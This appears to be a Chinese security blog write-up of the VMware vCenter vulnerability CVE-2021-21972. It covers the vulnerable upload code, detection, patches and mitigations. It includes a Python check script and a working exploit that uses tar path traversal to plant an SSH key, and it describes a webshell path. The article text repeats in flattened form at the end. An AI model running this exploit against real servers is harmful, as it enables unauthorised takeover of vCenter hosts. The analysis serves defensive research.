CVE-2021-21972 vSphere Client RCE复现,附POC & EXP
字数 1343 2025-08-15 21:33:59

VMware vSphere Client RCE漏洞(CVE-2021-21972)分析与利用指南

漏洞概述

CVE-2021-21972是VMware vSphere Client(HTML5)中的一个远程代码执行漏洞,存在于vCenter Server插件中。该漏洞允许未经身份验证的攻击者通过向开放443端口的vCenter Server发送特制请求,实现文件上传并最终获取服务器控制权。

受影响版本

  • VMware vCenter Server 7.0系列
  • VMware vCenter Server 6.7系列
  • VMware vCenter Server 6.5系列

漏洞原理分析

漏洞位置

漏洞位于vCenter Server中的vrops插件,具体路径为:
/ui/vropspluginui/rest/services/uploadova

漏洞成因

  1. 未授权访问:vrops插件中的敏感接口未进行权限验证
  2. 不安全文件操作uploadova接口允许文件上传且未对文件名进行充分过滤
  3. 目录遍历:通过../可实现任意目录文件写入

关键代码分析

@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, 
                         HttpServletResponse response) throws Exception {
    // ...
    if (!uploadFile.isEmpty()) {
        try {
            InputStream inputStream = uploadFile.getInputStream();
            File dir = new File("/tmp/unicorn_ova_dir");
            // ...
            TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
            TarArchiveEntry entry = in.getNextTarEntry();
            while(entry != null) {
                if (entry.isDirectory()) {
                    entry = in.getNextTarEntry();
                } else {
                    File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
                    File parent = curfile.getParentFile();
                    if (!parent.exists()) {
                        parent.mkdirs();
                    }
                    // ...

这段代码存在以下问题:

  1. 直接使用用户提供的文件名拼接路径
  2. 未过滤../等特殊字符
  3. 允许写入任意目录

漏洞利用

利用思路

  1. 构造包含恶意文件的tar包
  2. 通过目录遍历将文件写入系统关键位置
  3. 实现远程代码执行

利用方法

方法一:写入SSH公钥(Linux系统)

  1. 生成恶意tar包,包含../../home/vsphere-ui/.ssh/authorized_keys文件
  2. 通过uploadova接口上传
  3. 使用对应私钥SSH连接服务器

方法二:写入Webshell

  1. 构造包含webshell的tar包,如../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/.../ROOT/shell.jsp
  2. 上传后通过web访问webshell

利用工具

POC代码

# CVE-2021-21972.py
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"

def check_vulnerability(url):
    target_url = url + TARGET_URI
    try:
        response = requests.get(target_url, verify=False, timeout=15)
        if response.status_code == 405:
            print(f"[+] {url} 存在CVE-2021-21972漏洞")
            return True
        else:
            print(f"[-] {url} 不存在漏洞")
            return False
    except Exception as e:
        print(f"[!] {url} 请求错误: {str(e)}")
        return False

EXP代码(SSH公钥写入)

import tarfile
from io import BytesIO
import requests

def create_malicious_tar():
    # 创建包含SSH公钥的tar包
    tar_buffer = BytesIO()
    with tarfile.open(fileobj=tar_buffer, mode='w') as tar:
        # 添加authorized_keys文件
        public_key = b'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC...'
        tarinfo = tarfile.TarInfo(name='../../home/vsphere-ui/.ssh/authorized_keys')
        tarinfo.size = len(public_key)
        tar.addfile(tarinfo, BytesIO(public_key))
    tar_buffer.seek(0)
    return tar_buffer.getvalue()

def exploit(url):
    malicious_tar = create_malicious_tar()
    files = {'uploadFile': ('exploit.tar', malicious_tar)}
    try:
        response = requests.post(url + TARGET_URI, files=files, verify=False)
        if response.status_code == 200:
            print("[+] 漏洞利用成功,SSH公钥已写入")
        else:
            print("[-] 漏洞利用失败")
    except Exception as e:
        print(f"[!] 利用过程中出错: {str(e)}")

漏洞检测

手动检测

  1. 访问目标URL: https://[target]/ui/vropspluginui/rest/services/uploadova
  2. 观察响应:
    • 返回405 Method Not Allowed:可能存在漏洞
    • 返回403 Forbidden或其他:可能不存在漏洞

批量检测

使用提供的POC脚本进行批量检测:

python CVE-2021-21972.py -f urls.txt

修复建议

官方补丁

  • vCenter Server 7.0:升级到7.0.U1c或更高版本
  • vCenter Server 6.7:升级到6.7.U3l或更高版本
  • vCenter Server 6.5:升级到6.5 U3n或更高版本

临时缓解措施

  1. 在vCenter Server上禁用vROps插件:

    service-control --stop vrops-ui-service
    service-control --stop vrops-service
    
  2. 网络层面限制访问:

    • 限制访问vCenter Server的443端口
    • 仅允许可信IP访问管理界面

参考链接

  1. VMware安全公告VMSA-2021-0002
  2. CVE-2021-21972官方描述

免责声明

本文档仅供安全研究和教育目的使用。未经授权对他人系统进行测试或攻击是违法行为。请确保在合法授权范围内进行所有安全测试活动。

VMware vSphere Client RCE漏洞(CVE-2021-21972)分析与利用指南 漏洞概述 CVE-2021-21972是VMware vSphere Client(HTML5)中的一个远程代码执行漏洞,存在于vCenter Server插件中。该漏洞允许未经身份验证的攻击者通过向开放443端口的vCenter Server发送特制请求,实现文件上传并最终获取服务器控制权。 受影响版本 VMware vCenter Server 7.0系列 VMware vCenter Server 6.7系列 VMware vCenter Server 6.5系列 漏洞原理分析 漏洞位置 漏洞位于vCenter Server中的vrops插件,具体路径为: /ui/vropspluginui/rest/services/uploadova 漏洞成因 未授权访问 :vrops插件中的敏感接口未进行权限验证 不安全文件操作 : uploadova 接口允许文件上传且未对文件名进行充分过滤 目录遍历 :通过 ../ 可实现任意目录文件写入 关键代码分析 这段代码存在以下问题: 直接使用用户提供的文件名拼接路径 未过滤 ../ 等特殊字符 允许写入任意目录 漏洞利用 利用思路 构造包含恶意文件的tar包 通过目录遍历将文件写入系统关键位置 实现远程代码执行 利用方法 方法一:写入SSH公钥(Linux系统) 生成恶意tar包,包含 ../../home/vsphere-ui/.ssh/authorized_keys 文件 通过uploadova接口上传 使用对应私钥SSH连接服务器 方法二:写入Webshell 构造包含webshell的tar包,如 ../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/.../ROOT/shell.jsp 上传后通过web访问webshell 利用工具 POC代码 EXP代码(SSH公钥写入) 漏洞检测 手动检测 访问目标URL: https://[target]/ui/vropspluginui/rest/services/uploadova 观察响应: 返回405 Method Not Allowed:可能存在漏洞 返回403 Forbidden或其他:可能不存在漏洞 批量检测 使用提供的POC脚本进行批量检测: 修复建议 官方补丁 vCenter Server 7.0:升级到7.0.U1c或更高版本 vCenter Server 6.7:升级到6.7.U3l或更高版本 vCenter Server 6.5:升级到6.5 U3n或更高版本 临时缓解措施 在vCenter Server上禁用vROps插件: 网络层面限制访问: 限制访问vCenter Server的443端口 仅允许可信IP访问管理界面 参考链接 VMware安全公告VMSA-2021-0002 CVE-2021-21972官方描述 免责声明 本文档仅供安全研究和教育目的使用。未经授权对他人系统进行测试或攻击是违法行为。请确保在合法授权范围内进行所有安全测试活动。